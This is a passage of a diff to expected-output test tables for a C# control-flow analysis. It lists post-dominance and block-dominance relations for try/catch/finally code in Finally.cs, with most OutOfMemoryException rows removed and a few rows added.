[finally: exception(ExceptionA)] "Outer finally" | -| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | | Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:258:13:258:46 | call to method WriteLine | | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | -| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (normal) | | Finally.cs:260:9:260:34 | ...; | Finally.cs:260:27:260:32 | "Done" | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:33 | call to method WriteLine | @@ -5773,6 +5733,7 @@ postDominance | Extensions.cs:25:9:25:34 | ...; | Extensions.cs:24:9:24:45 | call to method ToBool | | Extensions.cs:25:23:25:32 | access to method Parse | Extensions.cs:25:9:25:14 | "true" | | Extensions.cs:25:23:25:32 | delegate creation of type Func<String,Boolean> | Extensions.cs:25:23:25:32 | access to method Parse | +| Finally.cs:7:10:7:11 | exit M1 (abnormal) | Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | | Finally.cs:7:10:7:11 | exit M1 (normal) | Finally.cs:15:13:15:40 | call to method WriteLine | | Finally.cs:8:5:17:5 | {...} | Finally.cs:7:10:7:11 | enter M1 | | Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:8:5:17:5 | {...} | @@ -5782,25 +5743,22 @@ postDominance | Finally.cs:11:31:11:36 | "Try1" | Finally.cs:11:13:11:38 | ...; | | Finally.cs:14:9:16:9 | {...} | Finally.cs:11:13:11:37 | call to method WriteLine | | Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:15:31:15:39 | [finally: exception(Exception)] "Finally" | -| Finally.cs:15:13:15:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:15:31:15:39 | [finally: exception(OutOfMemoryException)] "Finally" | | Finally.cs:15:13:15:40 | call to method WriteLine | Finally.cs:15:31:15:39 | "Finally" | | Finally.cs:15:13:15:41 | ...; | Finally.cs:14:9:16:9 | {...} | | Finally.cs:15:13:15:41 | [finally: exception(Exception)] ...; | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | -| Finally.cs:15:13:15:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:15:31:15:39 | "Finally" | Finally.cs:15:13:15:41 | ...; | | Finally.cs:15:31:15:39 | [finally: exception(Exception)] "Finally" | Finally.cs:15:13:15:41 | [finally: exception(Exception)] ...; | -| Finally.cs:15:31:15:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:15:13:15:41 | [finally: exception(OutOfMemoryException)] ...; | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:50:13:50:40 | [finally: return] call to method WriteLine | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:50:13:50:40 | call to method WriteLine | | Finally.cs:20:5:52:5 | {...} | Finally.cs:19:10:19:11 | enter M2 | | Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:20:5:52:5 | {...} | | Finally.cs:22:9:25:9 | {...} | Finally.cs:21:9:51:9 | try {...} ... | +| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:23:31:23:36 | "Try2" | | Finally.cs:23:13:23:38 | ...; | Finally.cs:22:9:25:9 | {...} | | Finally.cs:23:31:23:36 | "Try2" | Finally.cs:23:13:23:38 | ...; | | Finally.cs:26:48:26:51 | [exception: Exception] true | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | | Finally.cs:28:13:28:18 | throw ...; | Finally.cs:27:9:29:9 | {...} | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:31:9:40:9 | {...} | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | | Finally.cs:32:13:39:13 | try {...} ... | Finally.cs:31:9:40:9 | {...} | | Finally.cs:33:13:35:13 | {...} | Finally.cs:32:13:39:13 | try {...} ... | @@ -5811,9 +5769,7 @@ postDominance | Finally.cs:38:23:38:43 | [finally: exception(ArgumentException)] object creation of type Exception | Finally.cs:38:37:38:42 | [finally: exception(ArgumentException)] "Boo!" | | Finally.cs:38:37:38:42 | [finally: exception(ArgumentException)] "Boo!" | Finally.cs:37:13:39:13 | [finally: exception(ArgumentException)] {...} | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:42:9:43:9 | {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:42:9:43:9 | {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:49:9:51:9 | [finally: exception(Exception)] {...} | Finally.cs:38:17:38:44 | [finally: exception(ArgumentException)] throw ...; | | Finally.cs:49:9:51:9 | [finally: exception(IOException)] {...} | Finally.cs:28:13:28:18 | throw ...; | | Finally.cs:49:9:51:9 | [finally: return] {...} | Finally.cs:24:13:24:19 | return ...; | @@ -5835,41 +5791,32 @@ postDominance | Finally.cs:55:5:72:5 | {...} | Finally.cs:54:10:54:11 | enter M3 | | Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:55:5:72:5 | {...} | | Finally.cs:57:9:60:9 | {...} | Finally.cs:56:9:71:9 | try {...} ... | +| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:58:31:58:36 | "Try3" | | Finally.cs:58:13:58:38 | ...; | Finally.cs:57:9:60:9 | {...} | | Finally.cs:58:31:58:36 | "Try3" | Finally.cs:58:13:58:38 | ...; | | Finally.cs:61:48:61:51 | [exception: Exception] true | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | | Finally.cs:63:13:63:18 | throw ...; | Finally.cs:62:9:64:9 | {...} | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:65:35:65:35 | [exception: Exception] access to local variable e | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | -| Finally.cs:65:35:65:35 | [exception: OutOfMemoryException] access to local variable e | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | | Finally.cs:65:35:65:43 | [exception: Exception] access to property Message | Finally.cs:65:35:65:35 | [exception: Exception] access to local variable e | -| Finally.cs:65:35:65:43 | [exception: OutOfMemoryException] access to property Message | Finally.cs:65:35:65:35 | [exception: OutOfMemoryException] access to local variable e | | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | Finally.cs:65:48:65:51 | [exception: Exception] null | -| Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | Finally.cs:65:48:65:51 | [exception: OutOfMemoryException] null | | Finally.cs:65:48:65:51 | [exception: Exception] null | Finally.cs:65:35:65:43 | [exception: Exception] access to property Message | -| Finally.cs:65:48:65:51 | [exception: OutOfMemoryException] null | Finally.cs:65:35:65:43 | [exception: OutOfMemoryException] access to property Message | | Finally.cs:66:9:67:9 | {...} | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | -| Finally.cs:66:9:67:9 | {...} | Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | | Finally.cs:69:9:71:9 | [finally: exception(IOException)] {...} | Finally.cs:63:13:63:18 | throw ...; | | Finally.cs:69:9:71:9 | [finally: return] {...} | Finally.cs:59:13:59:19 | return ...; | | Finally.cs:69:9:71:9 | {...} | Finally.cs:66:9:67:9 | {...} | | Finally.cs:70:13:70:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:70:31:70:39 | [finally: exception(Exception)] "Finally" | | Finally.cs:70:13:70:40 | [finally: exception(IOException)] call to method WriteLine | Finally.cs:70:31:70:39 | [finally: exception(IOException)] "Finally" | -| Finally.cs:70:13:70:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:70:31:70:39 | [finally: exception(OutOfMemoryException)] "Finally" | | Finally.cs:70:13:70:40 | [finally: return] call to method WriteLine | Finally.cs:70:31:70:39 | [finally: return] "Finally" | | Finally.cs:70:13:70:40 | call to method WriteLine | Finally.cs:70:31:70:39 | "Finally" | | Finally.cs:70:13:70:41 | ...; | Finally.cs:69:9:71:9 | {...} | | Finally.cs:70:13:70:41 | [finally: exception(Exception)] ...; | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | | Finally.cs:70:13:70:41 | [finally: exception(IOException)] ...; | Finally.cs:69:9:71:9 | [finally: exception(IOException)] {...} | -| Finally.cs:70:13:70:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:70:13:70:41 | [finally: return] ...; | Finally.cs:69:9:71:9 | [finally: return] {...} | | Finally.cs:70:31:70:39 | "Finally" | Finally.cs:70:13:70:41 | ...; | | Finally.cs:70:31:70:39 | [finally: exception(Exception)] "Finally" | Finally.cs:70:13:70:41 | [finally: exception(Exception)] ...; | | Finally.cs:70:31:70:39 | [finally: exception(IOException)] "Finally" | Finally.cs:70:13:70:41 | [finally: exception(IOException)] ...; | -| Finally.cs:70:31:70:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:70:13:70:41 | [finally: exception(OutOfMemoryException)] ...; | | Finally.cs:70:31:70:39 | [finally: return] "Finally" | Finally.cs:70:13:70:41 | [finally: return] ...; | | Finally.cs:74:10:74:11 | exit M4 (normal) | Finally.cs:77:16:77:20 | ... > ... | | Finally.cs:74:10:74:11 | exit M4 (normal) | Finally.cs:97:21:97:23 | [finally: break] ...-- | @@ -6073,17 +6020,15 @@ postDominance | Finally.cs:134:5:145:5 | {...} | Finally.cs:133:10:133:11 | enter M7 | | Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:134:5:145:5 | {...} | | Finally.cs:136:9:138:9 | {...} | Finally.cs:135:9:143:9 | try {...} ... | +| Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:137:31:137:35 | "Try" | | Finally.cs:137:13:137:37 | ...; | Finally.cs:136:9:138:9 | {...} | | Finally.cs:137:31:137:35 | "Try" | Finally.cs:137:13:137:37 | ...; | | Finally.cs:141:13:141:44 | [finally: exception(Exception)] throw ...; | Finally.cs:141:19:141:43 | [finally: exception(Exception)] object creation of type ArgumentException | -| Finally.cs:141:13:141:44 | [finally: exception(OutOfMemoryException)] throw ...; | Finally.cs:141:19:141:43 | [finally: exception(OutOfMemoryException)] object creation of type ArgumentException | | Finally.cs:141:13:141:44 | throw ...; | Finally.cs:141:19:141:43 | object creation of type ArgumentException | | Finally.cs:141:19:141:43 | [finally: exception(Exception)] object creation of type ArgumentException | Finally.cs:141:41:141:42 | [finally: exception(Exception)] "" | -| Finally.cs:141:19:141:43 | [finally: exception(OutOfMemoryException)] object creation of type ArgumentException | Finally.cs:141:41:141:42 | [finally: exception(OutOfMemoryException)] "" | | Finally.cs:141:19:141:43 | object creation of type ArgumentException | Finally.cs:141:41:141:42 | "" | | Finally.cs:141:41:141:42 | "" | Finally.cs:140:9:143:9 | {...} | | Finally.cs:141:41:141:42 | [finally: exception(Exception)] "" | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | -| Finally.cs:141:41:141:42 | [finally: exception(OutOfMemoryException)] "" | Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:158:21:158:36 | ... == ... | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:163:17:163:42 | call to method WriteLine | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:167:17:167:37 | call to method WriteLine | @@ -6114,47 +6059,37 @@ postDominance | Finally.cs:158:21:158:36 | ... == ... | Finally.cs:158:36:158:36 | 1 | | Finally.cs:158:21:158:36 | [finally: exception(ArgumentNullException)] ... == ... | Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | | Finally.cs:158:21:158:36 | [finally: exception(Exception)] ... == ... | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | +| Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | +| Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | +| Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:41:159:43 | "1" | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:159:21:159:45 | throw ...; | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:159:27:159:44 | object creation of type Exception | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:161:39:161:39 | [exception: Exception] access to local variable e | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | | Finally.cs:161:39:161:39 | [exception: NullReferenceException] access to local variable e | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | -| Finally.cs:161:39:161:39 | [exception: OutOfMemoryException] access to local variable e | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: Exception] access to local variable e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to local variable e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | -| Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to local variable e | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: Exception] access to local variable e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: NullReferenceException] access to local variable e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | -| Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: OutOfMemoryException] access to local variable e | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:161:39:161:47 | [exception: Exception] access to property Message | Finally.cs:161:39:161:39 | [exception: Exception] access to local variable e | | Finally.cs:161:39:161:47 | [exception: NullReferenceException] access to property Message | Finally.cs:161:39:161:39 | [exception: NullReferenceException] access to local variable e | -| Finally.cs:161:39:161:47 | [exception: OutOfMemoryException] access to property Message | Finally.cs:161:39:161:39 | [exception: OutOfMemoryException] access to local variable e | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: Exception] access to property Message | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: Exception] access to local variable e | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to property Message | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to local variable e | -| Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to property Message | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to local variable e | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: Exception] access to property Message | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: Exception] access to local variable e | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: NullReferenceException] access to property Message | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: NullReferenceException] access to local variable e | -| Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: OutOfMemoryException] access to property Message | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: OutOfMemoryException] access to local variable e | | Finally.cs:161:39:161:54 | [exception: Exception] ... == ... | Finally.cs:161:52:161:54 | [exception: Exception] "1" | | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | Finally.cs:161:52:161:54 | [exception: NullReferenceException] "1" | -| Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | Finally.cs:161:52:161:54 | [exception: OutOfMemoryException] "1" | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: Exception] "1" | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] "1" | -| Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] "1" | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: Exception] "1" | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: NullReferenceException] "1" | -| Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] "1" | | Finally.cs:161:52:161:54 | [exception: Exception] "1" | Finally.cs:161:39:161:47 | [exception: Exception] access to property Message | | Finally.cs:161:52:161:54 | [exception: NullReferenceException] "1" | Finally.cs:161:39:161:47 | [exception: NullReferenceException] access to property Message | -| Finally.cs:161:52:161:54 | [exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:47 | [exception: OutOfMemoryException] access to property Message | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: Exception] "1" | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: Exception] access to property Message | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] "1" | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to property Message | -| Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to property Message | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: Exception] "1" | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: Exception] access to property Message | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: NullReferenceException] "1" | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: NullReferenceException] access to property Message | -| Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: OutOfMemoryException] access to property Message | | Finally.cs:163:17:163:42 | [finally: exception(ArgumentNullException)] call to method WriteLine | Finally.cs:163:35:163:41 | [finally: exception(ArgumentNullException)] access to array element | | Finally.cs:163:17:163:42 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:163:35:163:41 | [finally: exception(Exception)] access to array element | | Finally.cs:163:17:163:42 | call to method WriteLine | Finally.cs:163:35:163:41 | access to array element | @@ -6288,6 +6223,7 @@ postDominance | Finally.cs:217:5:231:5 | {...} | Finally.cs:216:10:216:12 | enter M11 | | Finally.cs:218:9:229:9 | try {...} ... | Finally.cs:217:5:231:5 | {...} | | Finally.cs:219:9:221:9 | {...} | Finally.cs:218:9:229:9 | try {...} ... | +| Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:31:220:35 | "Try" | | Finally.cs:220:13:220:37 | ...; | Finally.cs:219:9:221:9 | {...} | | Finally.cs:220:31:220:35 | "Try" | Finally.cs:220:13:220:37 | ...; | | Finally.cs:223:9:225:9 | {...} | Finally.cs:222:9:225:9 | catch {...} | @@ -6361,16 +6297,13 @@ postDominance | Finally.cs:257:9:259:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | -| Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | | Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:258:31:258:45 | "Outer finally" | | Finally.cs:258:13:258:47 | ...; | Finally.cs:257:9:259:9 | {...} | | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | -| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:258:13:258:47 | ...; | | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | -| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:260:27:260:32 | "Done" | | Finally.cs:260:9:260:34 | ...; | Finally.cs:258:13:258:46 | call to method WriteLine | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:34 | ...; | @@ -9983,49 +9916,27 @@ blockDominance | Extensions.cs:20:17:20:20 | enter Main | Extensions.cs:20:17:20:20 | enter Main | | Finally.cs:7:10:7:11 | enter M1 | Finally.cs:7:10:7:11 | enter M1 | | Finally.cs:7:10:7:11 | enter M1 | Finally.cs:7:10:7:11 | exit M1 | -| Finally.cs:7:10:7:11 | enter M1 | Finally.cs:7:10:7:11 | exit M1 (abnormal) | -| Finally.cs:7:10:7:11 | enter M1 | Finally.cs:11:13:11:37 | call to method WriteLine | | Finally.cs:7:10:7:11 | enter M1 | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | -| Finally.cs:7:10:7:11 | enter M1 | Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:7:10:7:11 | enter M1 | Finally.cs:14:9:16:9 | {...} | | Finally.cs:7:10:7:11 | exit M1 | Finally.cs:7:10:7:11 | exit M1 | -| Finally.cs:7:10:7:11 | exit M1 (abnormal) | Finally.cs:7:10:7:11 | exit M1 (abnormal) | -| Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:11:13:11:37 | call to method WriteLine | -| Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | -| Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:14:9:16:9 | {...} | | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | -| Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:14:9:16:9 | {...} | Finally.cs:14:9:16:9 | {...} | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:19:10:19:11 | enter M2 | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:19:10:19:11 | exit M2 | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:19:10:19:11 | exit M2 (abnormal) | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:19:10:19:11 | exit M2 (normal) | -| Finally.cs:19:10:19:11 | enter M2 | Finally.cs:23:13:23:37 | call to method WriteLine | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:24:13:24:19 | return ...; | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:19:10:19:11 | enter M2 | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:27:9:29:9 | {...} | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:19:10:19:11 | enter M2 | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:34:27:34:32 | throw ...; | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:19:10:19:11 | enter M2 | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:42:9:43:9 | {...} | | Finally.cs:19:10:19:11 | exit M2 | Finally.cs:19:10:19:11 | exit M2 | | Finally.cs:19:10:19:11 | exit M2 (abnormal) | Finally.cs:19:10:19:11 | exit M2 (abnormal) | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:19:10:19:11 | exit M2 (normal) | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:19:10:19:11 | exit M2 (abnormal) | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:23:13:23:37 | call to method WriteLine | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:24:13:24:19 | return ...; | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:27:9:29:9 | {...} | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:34:27:34:32 | throw ...; | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | | Finally.cs:24:13:24:19 | return ...; | Finally.cs:24:13:24:19 | return ...; | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:19:10:19:11 | exit M2 (abnormal) | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | @@ -10035,9 +9946,7 @@ blockDominance | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:34:27:34:32 | throw ...; | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | +| Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:26:38:26:39 | 